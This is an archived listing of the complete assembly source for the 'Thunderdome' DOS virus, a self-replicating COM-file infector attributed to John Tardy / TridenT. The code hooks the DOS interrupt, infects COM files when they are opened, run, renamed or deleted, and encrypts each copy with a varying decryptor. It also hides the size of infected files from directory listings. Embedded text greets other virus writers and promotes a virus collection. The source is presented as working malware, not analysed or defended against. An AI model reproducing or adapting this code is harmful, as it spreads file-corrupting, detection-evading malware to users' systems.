home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / T.ZIP / THUNDERD.ZIP / THUNDER.A86 next >
Encoding:
Text File  |  1994-01-09  |  10.6 KB  |  404 lines

  1. ;
  2. ; Thunderdome virus by John Tardy / TridenT
  3. ;
  4.  
  5.                 Org 0h
  6.  
  7. decr:           jmp Crypt
  8.                 db 'Carcass'
  9. Loopje          DB 0e2h
  10.                 db 0fah
  11. DecrLen         Equ $-Decr
  12.  
  13. Crypt:          Push Ax
  14.                 call Get_Ofs
  15. Get_Ofs:        pop Bp
  16.                 sub Bp,Get_Ofs
  17.  
  18.                 Mov Ah,2ah
  19.                 Int 21h
  20.                 Cmp Cx,1993
  21.                 Ja Makeya
  22.                 jb Installed
  23.                 Cmp Dh,10
  24.                 Jb installed
  25.  
  26.  
  27. Makeya:         Mov Ax,0DEADh
  28.                 Int 21h
  29.                 Cmp Ax,0AAAAh
  30.                 Je  Installed
  31.  
  32.                 mov ax,3521h
  33.                 int 21h
  34.                 mov word ptr cs:old21[bp],bx
  35.                 mov word ptr cs:old21[bp][2],es
  36.  
  37.                 mov ax,cs
  38.                 dec ax
  39.                 mov ds,ax
  40.                 cmp byte ptr ds:[0000],'Z'
  41.                 jne installed
  42.                 mov ax,word ptr ds:[0003]
  43.                 sub ax,ParLen
  44.                 jb  installed
  45.                 mov word ptr ds:[0003],ax
  46.                 sub word ptr ds:[0012h],ParLen
  47.                 lea si,decr[bp]
  48.                 xor di,di
  49.                 mov es,ds:[12h]
  50.                 mov ds,cs
  51.                 mov cx,virlen
  52.                 rep movsb
  53.                 mov ax,2521h
  54.                 mov ds,es
  55.                 mov dx,offset new21
  56.                 int 21h
  57. Installed:      Mov Di,100h
  58.                 Push Di
  59.                 Lea Si,Org_Prg[Bp]
  60.                 Push Cs
  61.                 Pop Ds
  62.                 Push Cs
  63.                 Pop Es
  64.                 Movsw
  65.                 Movsb
  66.                 Pop Bx
  67.                 Pop Ax
  68.                 Jmp Bx
  69.  
  70. Old21           dd 0
  71.  
  72. New21:          cmp ax,0deadh
  73.                 jne chkfunc
  74.                 mov cx,0aaaah
  75.                 mov ax,cx
  76.                 iret
  77. chkfunc:        cmp ah,12h
  78.                 je  findFCBst
  79.                 cmp ah,11h
  80.                 je findfcbst
  81.                 cmp ah,4fh
  82.                 je findst
  83.                 cmp ah,4eh
  84.                 je findst
  85.                 push ax
  86.                 push bx
  87.                 push cx
  88.                 push dx
  89.                 push si
  90.                 push di
  91.                 push bp
  92.                 push ds
  93.                 push es
  94.                 cmp ah,3dh
  95.                 je  infectHan
  96.                 cmp ah,4bh
  97.                 je  infectHan
  98.                 cmp ah,41h
  99.                 je  infectHan
  100.                 cmp ah,43h
  101.                 je  infectHan
  102.                 cmp ah,56h
  103.                 je  infectHan
  104.                 cmp ah,0fh
  105.                 je  infectFCB
  106.                 cmp ah,23h
  107.                 je  infectFCB
  108.                 cmp ah,6ch
  109.                 je  infectdos4
  110.                 jmp endint
  111.  
  112. findfcbst:      jmp findfcb
  113. findst:         jmp find
  114.  
  115. InfectFCB:      mov si,dx
  116.                 lodsb
  117.                 push cs
  118.                 pop es
  119.                 lea di,fnam
  120.                 mov cx,8
  121.                 rep movsb
  122.                 mov cx,3
  123.                 inc di
  124.                 rep movsb
  125.                 lea dx,fnam
  126.                 push cs
  127.                 pop ds
  128.  
  129. InfectHan:      mov si,dx
  130.                 mov cx,100h
  131. findpnt:        lodsb
  132.                 cmp al,'.'
  133.                 je  chkcom
  134.                 loop findpnt
  135.                 jmp  endi
  136.  
  137. infectdos4:     and dx,0fh
  138.                 cmp dx,1
  139.                 jne endi
  140.                 mov dx,si
  141.                 jmp infecthan
  142.  
  143. chkcom:         lodsw
  144.                 or ax,2020h
  145.                 cmp ax,'oc'
  146.                 jne endi
  147.                 lodsb
  148.                 or al,20h
  149.                 cmp al,'m'
  150.                 je doitj
  151. endi:           jmp endint
  152. doitj:          push dx
  153.                 push ds
  154.                 mov ax,4300h
  155.                 call dos
  156.                 mov cs:fatr,cx
  157.                 mov ax,4301h
  158.                 sub cx,cx
  159.                 call dos
  160.                 mov ax,3d02h
  161.                 call dos
  162.                 jnc getdate
  163.                 jmp error
  164. getdate:        mov bx,5700h
  165.                 xchg ax,bx
  166.                 call dos
  167.                 mov cs:fdat,cx
  168.                 mov cs:fdat+2,dx
  169.                 and cx,1fh
  170.                 cmp cx,1fh
  171.                 jne chkexe
  172.                 jmp done
  173. chkexe:         mov ah,3fh
  174.                 push cs
  175.                 pop ds
  176.                 lea dx,Org_prg
  177.                 mov cx,3
  178.                 call dos
  179.                 cmp word ptr cs:Org_prg[0],'MZ'
  180.                 je  close
  181.                 cmp word ptr cs:Org_prg[0],'ZM'
  182.                 je close
  183.  
  184.                 Mov ax,4202h
  185.                 sub cx,cx
  186.                 cwd
  187.                 call dos
  188.  
  189.                 sub ax,3
  190.                 mov cs:jump[1],ax
  191.  
  192.                 Add Ax,Offset Crypt+103h
  193.                 Mov S_1[1],Ax
  194.                 Mov S_2[1],Ax
  195.                 Mov S_3[4],Ax
  196.                 Mov S_4[4],Ax
  197.                 Call GenPoly
  198.  
  199.                 mov ah,40h
  200.                 push cs
  201.                 pop ds
  202.                 lea dx,coder
  203.                 mov cx,virlen
  204.                 call dos
  205.  
  206.                 mov ax,4200h
  207.                 xor cx,cx
  208.                 cwd
  209.                 call dos
  210.  
  211.                 mov ah,40h
  212.                 lea dx,jump
  213.                 mov cx,3
  214.                 call dos
  215.  
  216.                 or  cs:fdat,01fh
  217.  
  218. close:          mov ax,5701h
  219.                 mov cx,cs:fdat
  220.                 mov dx,cs:fdat[2]
  221.                 call dos
  222.  
  223. done:           mov ah,3eh
  224.                 call dos
  225.                 pop ds
  226.                 pop dx
  227.                 push dx
  228.                 push ds
  229.                 mov ax,4301h
  230.                 mov cx,fatr
  231.                 call dos
  232.  
  233. error:          pop ds
  234.                 pop dx
  235.  
  236. endint:         pop es
  237.                 pop ds
  238.                 pop bp
  239.                 pop di
  240.                 pop si
  241.                 pop dx
  242.                 pop cx
  243.                 pop bx
  244.                 pop ax
  245.                 jmp d ptr cs:[old21]
  246.  
  247. GenPoly:        Xor Byte Ptr [Loopje],2
  248.                 Xor Ax,Ax
  249.                 Mov Es,Ax
  250.                 Mov Ax,Es:[46ch]
  251.                 Mov Es,Cs
  252.                 Push Ax
  253.                 And Ax,07ffh
  254.                 Add Ax,CryptLen
  255.                 Mov S_1[4],Ax
  256.                 Mov S_2[4],Ax
  257.                 Mov S_3[1],Ax
  258.                 Mov S_4[1],Ax
  259. Doit:           Pop Ax
  260.                 Push Ax
  261.                 And Ax,3
  262.                 Shl Ax,1
  263.                 Mov Si,Ax
  264.                 Mov Ax,W Table[Si]
  265.                 Mov Si,Ax
  266.                 Lea Di,decr
  267.                 Movsw
  268.                 Movsw
  269.                 Movsw
  270.                 Movsw
  271.                 Pop Ax
  272.                 Stosb
  273.                 Movsb
  274.                 Mov Dl,Al
  275.                 Lea Si,Decr
  276.                 Lea Di,Coder
  277.                 Mov Cx,DecrLen
  278.                 Rep Movsb
  279.                 Lea Si,Crypt
  280.                 Mov Cx,CryptLen
  281. Encrypt:        Lodsb
  282.                 Xor Al,Dl
  283.                 Stosb
  284.                 Loop Encrypt
  285.                 Cmp Dl,0
  286.                 Je  Fuckit
  287.                 Ret
  288.  
  289. FuckIt:         Lea Si,Encr0
  290.                 Lea Di,Coder
  291.                 Mov Cx,Encr0Len
  292.                 Rep Movsb
  293.                 Mov Ax,Cs:jump[1]
  294.                 Add Ax,Encr0Len+2
  295.                 Mov Cs:jump[1],Ax
  296.                 Ret
  297.  
  298.                 Db 13,10,'Created in Holland, released near Bolzano/Italy.'
  299.                 Db 13,10,'This virus is made to test the spreading rate of viruses in Italy. It is not'
  300.                 Db 13,10,'ment to be destructive, however, some programs might not work anymore,'
  301.                 Db 13,10,'because of CRC-checking. I am sorry if I accidentally corrupted one of your'
  302.                 Db 13,10,'programs, but HEY! That is how life is, eh? Try to get our virus collection!'
  303.                 Db 13,10,'and try TPE, or DMU (another one, more compact and also very complex!).'
  304.                 Db 13,10,'Greetings go to all other virus writers!'
  305.  
  306. Table           DW Offset S_1,Offset S_2,Offset S_3,Offset S_4
  307.  
  308. S_1:            Lea Si,0
  309.                 Mov Cx,0
  310.                 DB 80h,34h
  311.                 Inc Si
  312. S_2:            Lea Di,0
  313.                 Mov Cx,0
  314.                 DB 80h,35h
  315.                 Inc Di
  316. S_3:            Mov Cx,0
  317.                 Lea Si,0
  318.                 DB 80h,34h
  319.                 Inc Si
  320. S_4:            Mov Cx,0
  321.                 Lea Di,0
  322.                 DB 80h,35h
  323.                 Inc Di
  324.  
  325.                 Db '[ "Thunderdome" virus by '
  326.  
  327. Encr0           Db 'John Tardy'
  328. Encr0Len        Equ $-Encr0
  329.  
  330.                 Db ' / TridenT ]'
  331.  
  332. getdta:         pop si
  333.                 pushf
  334.                 push ax
  335.                 push bx
  336.                 push es
  337.                 mov  ah,2fh
  338.                 call dos
  339.                 jmp short si
  340.  
  341. FindFCB:        call DOS
  342.                 cmp al,0
  343.                 jne Ret1
  344.                 call getdta
  345.                 cmp byte ptr es:[bx],-1
  346.                 jne FCBOk
  347.                 add bx,8
  348. FCBOk:          mov al,es:[bx+16h]
  349.                 and al,1fh
  350.                 cmp al,1fh
  351.                 jne FileOk
  352.                 sub word ptr es:[bx+1ch],Virlen
  353.                 sbb word ptr es:[bx+1eh],0
  354.                 jmp short Time
  355.  
  356. Find:           call DOS
  357.                 jc Ret1
  358.                 call getdta
  359.                 mov al,es:[bx+16h]
  360.                 and al,1fh
  361.                 cmp al,1fh
  362.                 jne FileOk
  363.                 sub word ptr es:[bx+1ah],VirLen
  364.                 sbb word ptr es:[bx+1ch],0
  365. Time:           xor byte ptr es:[bx+16h],10h
  366. FileOk:         pop es
  367.                 pop bx
  368.                 pop ax
  369.                 popf
  370. Ret1:           retf 2
  371.  
  372. dos:            pushf
  373.                 call dword ptr cs:[old21]
  374.                 ret
  375.  
  376. Org_prg         dw 0cd90h
  377.                 db 20h
  378.  
  379. fnam            db 8 dup (0)
  380.                 db '.'
  381.                 db 3 dup (0)
  382.                 db 0
  383. fatr            dw 0
  384. fdat            dw 0,0
  385.  
  386.  
  387. jump            db 0e9h,0,0
  388.  
  389. ResLen          Equ ($-Decr)/10h
  390.  
  391. ParLen          Equ (Reslen*2)+10h
  392.  
  393. CryptLen        Equ $-Crypt
  394.  
  395. VirLen          Equ $-Decr
  396.  
  397. Coder           Equ $
  398.  
  399.  
  400. ;  ─────────────────────────────────────────────────────────────────────────
  401. ;  ───────────────> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <───────────────
  402. ;  ───────────> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <───────────
  403. ;  ─────────────────────────────────────────────────────────────────────────
  404.